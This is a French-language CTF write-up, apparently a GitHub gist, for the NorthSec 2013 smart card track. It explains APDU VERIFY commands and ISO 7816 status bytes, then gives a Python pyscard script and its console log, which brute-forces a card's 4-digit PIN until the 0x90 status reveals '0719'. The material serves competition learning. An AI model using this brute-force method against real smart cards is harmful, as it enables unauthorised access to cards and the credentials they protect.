Skip to content

Instantly share code, notes, and snippets.

@h3xstream
Last active May 14, 2019 18:47
Show Gist options
  • Save h3xstream/5516142 to your computer and use it in GitHub Desktop.
Save h3xstream/5516142 to your computer and use it in GitHub Desktop.
NorthSec 2013: Smart Card Track - Brute force du PIN code

Petit solutionnaire pour le brute force du PIN code.

Spécification du protocole

Selon les spécifications, on peut deviner que le protocole ressemble à ceci:

Kiosque --[VERIFY PIN_CODE]-> Carte
Kiosque <-[    Pin Ok?    ]-- Carte

Le format de la réponse pour la commande VERIFY est inconnu. Il suffit de faire une tentative pour avoir une idée du format de la réponse.

Première tentative

Requête VERIFY (tel que défini dans l'énoncé):

00 20 00 00 04 30 31 32 33

00: CLA
20: INS
00: P1
00: P2
04: Longeur du payload en bytes (4 chars)
30 31 32 33: Code ascii pour le code "0123"

Réponse obtenue:

FF 63 00

FF: Corps du message
63: SW1 Code de status
00: SW2 Code de status

Détection d'un code valide

Notre première intuition a été de détecter un changement au contenu du message (1er byte). Après une centaine de requêtes, 0x00 est retourné. Lorsqu'une requête pour un autre code est fait, la réponse est également 0x00. Le message était maintenant 0x00 à tout coup..

Comme le message semble changer périodiquement entre 0xFF et 0x00, une détection sur un changement de SW1 ou SW2 est utilisée. Cette verification a permis l'identification du code valide lorsque SW1 est devenu 0x90. Et cette fois ci, la réponse était fiable.

Les "status bytes" (SW1, SW2) sont des codes qu'on pourrait comparer aux codes de retour HTTP (200 OK, 404 Not Found, etc). Pour le protocole Smart Card ISO/IEC 7816, voici les codes standards: ISO/IEC 7816 Table 12.

Requête pour le code "0719":

00 20 00 00 04 30 37 31 39

Réponse d'un succès:

90 00

[vide] : Corps du message
90: SW1 Code de status <-- Indicateur que le code est valide
00: SW2 Code de status

Scripting

Pour faire le brute force, un script a été fait avec la librarie pyscard.

from smartcard.CardType import AnyCardType
from smartcard.CardRequest import CardRequest
from smartcard.CardConnectionObserver import ConsoleCardConnectionObserver
from smartcard.Exceptions import CardRequestTimeoutException
from smartcard.util import toHexString, toBytes
# Smart Card Track - NorthSec 2013
# Obtain the CDC (Pin code)
#Commands
#--------[CLA , INS , P1 , P2 , LE]
SELECT = [0x00, 0xA4, 0x04, 0x00, 0x07]
VERIFY = [0x00, 0x20, 0x00, 0x00, 0x04]
#OLDCDC1
AID_OLDCDC1 = [0x4F,0x4C,0x44,0x43,0x44,0x43,0x31]
#ACCESS1
AID_ACCESS1 = [0x41,0x43,0x43,0x45,0x53,0x53,0x31]
try:
#Wait for a card to be swipped
cardrequest = CardRequest(timeout=10, cardType=AnyCardType())
cardservice = cardrequest.waitforcard()
#The APDU request/response will be printed to console
observer = ConsoleCardConnectionObserver()
cardservice.connection.addObserver(observer)
#Connect to the card
cardservice.connection.connect()
#Select OLDCDC1 Applet ID
print "SELECT ", toHexString(AID_OLDCDC1)
response, sw1, sw2 = cardservice.connection.transmit(SELECT + AID_OLDCDC1)
print "resp=",response
for ch1 in range(48,58):
for ch2 in range(48,58):
for ch3 in range(48,58):
for ch4 in range(48,58):
test_cbc = [ch1,ch2,ch3,ch4]
print "===="
print "Testing ", ('' .join(chr(i) for i in test_cbc))
print "VERIFY ", toHexString(test_cbc)
response, sw1, sw2 = cardservice.connection.transmit(VERIFY + test_cbc)
print "resp=",response, "sw1=",hex(sw1), "sw2=",hex(sw2)
if (response != [0] and response != [255] and response != []) or (sw1 != 0x63 and sw1 != 0x6d) or (sw2 != 0):
print "Found it!!", toHexString(test_cbc)
exit()
except CardRequestTimeoutException:
print 'Timeout no card found!'
except:
import sys
print sys.exc_info()[1]
connecting to OMNIKEY CardMan 3x21 0
SELECT 4F 4C 44 43 44 43 31
> 00 A4 04 00 07 4F 4C 44 43 44 43 31
< FF 90 0
resp= [255]
[...] Many attempts
====
Testing 0717
VERIFY 30 37 31 37
> 00 20 00 00 04 30 37 31 37
< FF 63 0
resp= [255] sw1= 0x63 sw2= 0x0
====
Testing 0718
VERIFY 30 37 31 38
> 00 20 00 00 04 30 37 31 38
< FF 63 0
resp= [255] sw1= 0x63 sw2= 0x0
====
Testing 0719
VERIFY 30 37 31 39
> 00 20 00 00 04 30 37 31 39
< [] 90 0
resp= [] sw1= 0x90 sw2= 0x0
Found it!! 30 37 31 39
None
disconnecting from OMNIKEY CardMan 3x21 0
disconnecting from OMNIKEY CardMan 3x21 0
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment